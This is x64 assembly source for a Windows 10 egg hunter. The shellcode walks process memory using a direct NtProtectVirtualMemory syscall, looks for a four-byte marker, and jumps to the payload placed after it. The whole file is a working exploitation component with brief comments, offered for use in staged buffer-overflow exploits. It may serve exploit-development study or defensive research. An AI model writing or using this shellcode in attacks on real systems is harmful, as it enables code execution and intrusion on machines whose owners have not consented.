PUBLIC Win10egghunterx64 .code Win10egghunterx64 PROC _start: push 7fh pop rdi ; RDI is nonvolatile, so it will be preserved after syscalls _setup: inc rdi ; parameter 1 - lpAddress - counter mov r9b,40h ; parameter 3 - flNewProtect - 0x40 PAGE_EXECUTE_READWRITE pop rsi ; Stack alignment before the stack setup pop rsi push rdi push rsp pop rdx ; pointer to lpAddress push 08h ; parameter 2 - dwSize 0x8 push rsp pop r8 ; pointer to dwSize going to r8 - can be exchanged with mov r8,rsp mov [rdx+20h],rsp ; parameter 4 - lpflOldprotect dec r10 ; parameter 5 - hProcess - the handle will be -1, if not set you'll get a c0000008 error _VirtualProtectEx: push 50h ; 0x50h for Windows 10 and Windows Server 2016 x64, 0x4Dh for Windows 7 family pop rax syscall _rc_check: cmp al,01h ; check the response for non-allocated memory jge _setup _end: ; There won't be too many of these eggs in the memory mov eax, 042303042h ; the egg scasd jnz _setup jmp rdi Win10egghunterx64 ENDP END